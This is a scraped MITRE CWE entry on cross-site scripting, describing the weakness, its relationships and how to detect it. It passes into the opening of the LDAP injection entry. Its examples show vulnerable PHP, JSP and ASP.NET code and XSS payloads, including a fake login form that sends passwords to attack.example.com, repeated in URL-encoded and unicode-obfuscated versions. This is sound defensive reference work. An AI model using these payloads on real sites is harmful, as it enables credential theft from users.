Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 81 Improper Neutralization of Script in an Error Message Web Page
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 83 Improper Neutralization of Script in Attributes in a Web Page
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 84 Improper Neutralization of Encoded URI Schemes in a Web Page
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 85 Doubled Character XSS Manipulations
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 86 Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 87 Improper Neutralization of Alternate XSS Syntax
PeerOf Composite Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. 352 Cross-Site Request Forgery (CSRF)
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 184 Incomplete List of Disallowed Inputs
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 494 Download of Code Without Integrity Check
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 137 Data Neutralization Issues
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
+ Background Details

The Same Origin Policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

When referring to XSS, the Domain of a website is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario).

(bad code)
Example Language: PHP 
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

(result)
 
<div class="header"> Welcome, <div id="stealPassword"> Please Login:

<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />
</form>

</div></div>

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

(attack code)
 
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:

(attack code)
 
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.


Example 2

The following code displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

(bad code)
Example Language: JSP 
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>

<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.


Example 3

The following code displays a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

(bad code)
Example Language: JSP 
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>

Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.


Example 4

The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

(bad code)
Example Language: PHP 
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(bad code)
Example Language: PHP 
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);

if (!$results) {
exit;
}

//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.


Example 5

The following code is a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

(bad code)
Example Language: PHP 
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";

//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

(attack code)
 
<script>document.alert('Hacked');</script>

The raw contents of the message file would look like:

(result)
 
<script>document.alert('Hacked');</script> has logged in.

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.


+ Observed Examples
Reference Description
Python Library Manager did not sufficiently neutralize a user-supplied search term, allowing reflected XSS.
Python-based e-commerce platform did not escape returned content on error pages, allowing for reflected Cross-Site Scripting attacks.
Universal XSS in mobile operating system, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.
Admin GUI allows XSS through cookie.
Web stats program allows XSS through crafted HTTP header.
Web log analysis product allows XSS through crafted HTTP Referer header.
Chain: protection mechanism failure allows XSS
Chain: incomplete denylist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags
Chain: incomplete denylist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79)
Reflected XSS using the PATH_INFO in a URL
Reflected XSS not properly handled when generating an error message
Reflected XSS sent through email message.
Stored XSS in a security product.
Stored XSS using a wiki page.
Stored XSS in a guestbook application.
Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79).
+ Weakness Ordinalities
Ordinality Description
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness: Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness: Moderate

Note: With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 712 OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 722 OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 725 OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 811 OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 864 2011 Top 25 - Insecure Interaction Between Components
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 931 OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 990 SFP Secondary Cluster: Tainted Input to Command
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1005 7PK - Input Validation and Representation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1033 OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1308 CISQ Quality Measures - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1347 OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1409 Comprehensive Categorization: Injection
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Cross-site scripting (XSS)
7 Pernicious Kingdoms Cross-site Scripting
CLASP Cross-site scripting
OWASP Top Ten 2007 A1 Exact Cross Site Scripting (XSS)
OWASP Top Ten 2004 A1 CWE More Specific Unvalidated Input
OWASP Top Ten 2004 A4 Exact Cross-Site Scripting (XSS) Flaws
WASC 8 Cross-site Scripting
Software Fault Patterns SFP24 Tainted input to command
OMG ASCSM ASCSM-CWE-79
+ References
[REF-709] Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
[REF-712] "Cross-site scripting". Wikipedia. 2008-08-26. <https://en.wikipedia.org/wiki/Cross-site_scripting>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 13, "Web-Specific Input Issues" Page 413. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-714] RSnake. "XSS (Cross Site Scripting) Cheat Sheet". <http://ha.ckers.org/xss.html>.
[REF-715] Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-716] Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". <https://learn.microsoft.com/en-us/archive/blogs/cisg/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-718] Ivan Ristic. "XSS Defense HOWTO". <https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/xss-defense-howto/>. URL validated: 2023-04-07.
[REF-719] OWASP. "Web Application Firewall". <http://www.owasp.org/index.php/Web_Application_Firewall>.
[REF-720] Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". <http://projects.webappsec.org/w/page/13246985/Web%20Application%20Firewall%20Evaluation%20Criteria>. URL validated: 2023-04-07.
[REF-721] RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.
[REF-722] "XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. <https://bugzilla.mozilla.org/show_bug.cgi?id=380418>.
[REF-723] "Apache Wicket". <http://wicket.apache.org/>.
[REF-724] OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". <http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet>.
[REF-725] OWASP. "DOM based XSS Prevention Cheat Sheet". <http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet>.
[REF-726] Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". SANS Software Security Institute. 2010-02-22. <https://www.sans.org/blog/top-25-series-rank-1-cross-site-scripting/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Cross Site Scripting", Page 1071. 1st Edition. Addison Wesley. 2006.
[REF-956] Wikipedia. "Samy (computer worm)". <https://en.wikipedia.org/wiki/Samy_(computer_worm)>. URL validated: 2018-01-16.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-79. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification Date Modifier Organization
2008-07-01
(CWE 1.0, 2008-09-09)
Eric Dalci Cigital
updated Time_of_Introduction
2008-08-15
(CWE 1.0, 2008-09-09)
Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12 CWE Content Team MITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-05-27 CWE Content Team MITRE
updated Name
2009-07-27 CWE Content Team MITRE
updated Description
2009-10-29 CWE Content Team MITRE
updated Observed_Examples, Relationships
2009-12-28 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Observed_Examples
2010-02-16 CWE Content Team MITRE
updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05 CWE Content Team MITRE
updated Description, Potential_Mitigations, Related_Attack_Patterns
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples, References
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Detection_Factors, Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-07-17 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-01-19 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27 CWE Content Team MITRE
updated Alternate_Terms, Demonstrative_Examples, Description, Observed_Examples, References, Relationship_Notes, Relationships
2019-01-03 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2019-09-19 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Potential_Mitigations, Relationships
2020-06-25 CWE Content Team MITRE
updated Observed_Examples, Potential_Mitigations
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples, Description
2021-07-20 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-10-13 CWE Content Team MITRE
updated Background_Details, Observed_Examples
2023-01-31 CWE Content Team MITRE
updated Alternate_Terms, Demonstrative_Examples, Description
2023-04-27 CWE Content Team MITRE
updated References, Relationships, Time_of_Introduction
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Relationships
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Cross-site Scripting (XSS)
2009-01-12 Failure to Sanitize Directives in a Web Page (aka 'Cross-site scripting' (XSS))
2009-05-27 Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
2010-06-21 Failure to Preserve Web Page Structure ('Cross-site Scripting')

CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Weakness ID: 90
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands; Read Application Data; Modify Application Data

